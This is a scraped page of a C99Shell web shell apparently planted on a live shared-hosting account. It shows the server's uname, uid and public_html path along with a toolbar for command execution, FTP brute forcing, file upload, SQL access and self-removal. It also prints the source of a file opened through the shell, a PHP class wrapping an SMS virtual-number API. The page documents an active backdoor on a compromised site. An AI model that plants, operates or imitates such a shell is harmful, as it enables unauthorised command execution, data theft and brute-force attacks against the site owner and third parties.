smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/app/Libraries/   drwxr-xr-x
Free 3433.76 GB of 4265.01 GB (80.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Fivesim.php (2.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Libraries;

class 
Fivesim
{
    private function 
request($path)
    {
        
$apiKey settings('fivesim_api_key');
        
$apiUrl "http://api1.5sim.biz/stubs/handler_api.php?api_key={$apiKey}&$path";
        
$output file_get_contents($apiUrl);
        return 
$output;
    }
    public function 
getBalance()
    {
        
$balance $this->request("action=getBalance");
        return 
explode(':'$balance)[1];
    }
    public function 
getCategories()
    {
        
$output json_decode(file_get_contents("https://5sim.biz/v1/guest/products/any/any"), true);
        
$categories = [];
        foreach (
$output as $name => $value) {
            
$categories[] = [
                
'id' => $name,
                
'name'  => $name
            
];
        }
        return 
$categories;
    }
    public function 
getServices($categoryId)
    {
        
$output json_decode(file_get_contents("https://5sim.biz/v1/guest/prices?product=$categoryId"), true);
        
$countries = [];
        foreach (
$output[$categoryId] as $name => $value) {
            
$countries[] = [
                
'id' => $name,
                
'name' => $name,
                
'price' => max(array_column($output[$categoryId][$name], 'cost')),
            ];
        }
        return 
$countries;
    }
    public function 
getServiceDetails($country$serviceId)
    {
        
$output json_decode(file_get_contents("https://5sim.biz/v1/guest/prices?product=$serviceId"), true)[$serviceId][$country];
        return [
            
'id' => "$country,$serviceId",
            
'price' => max(array_column($output'cost')),
            
'stock' => rand(1003000)
        ];
    }
    public function 
getNumber($serviceId$country)
    {
        
$output $this->request("action=getNumber&country={$country}&service={$serviceId}&operator=any");
        
$output explode(':'$output);
        if (
count($output) != 3) {
            return [
                
'success' => false,
                
'data' => $output
            
];
        }
        
$this->request("action=setStatus&id={$output[1]}&status=1");
        return [
            
'success' => true,
            
'number' => $output[2],
            
'number_id' => (int)$output[1]
        ];
    }
    public function 
cancelNumber($numberId)
    {
        
$this->request("action=setStatus&id={$numberId}&status=-1");
        return [
            
'success' => true
        
];
    }
    public function 
getMessage($numberId)
    {
        
$output $this->request("action=getStatus&id={$numberId}");
        
$output explode(":"$output);
        if (
count($output) > 1) {
            
$this->request("action=setStatus&id={$numberId}&status=6");
            
array_shift($output);
            return [
                
'code' => join(':'$output),
                
'status' => '1'
            
];
        }
        return [
            
'code' => null,
            
'status' => -1
        
];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0048 ]--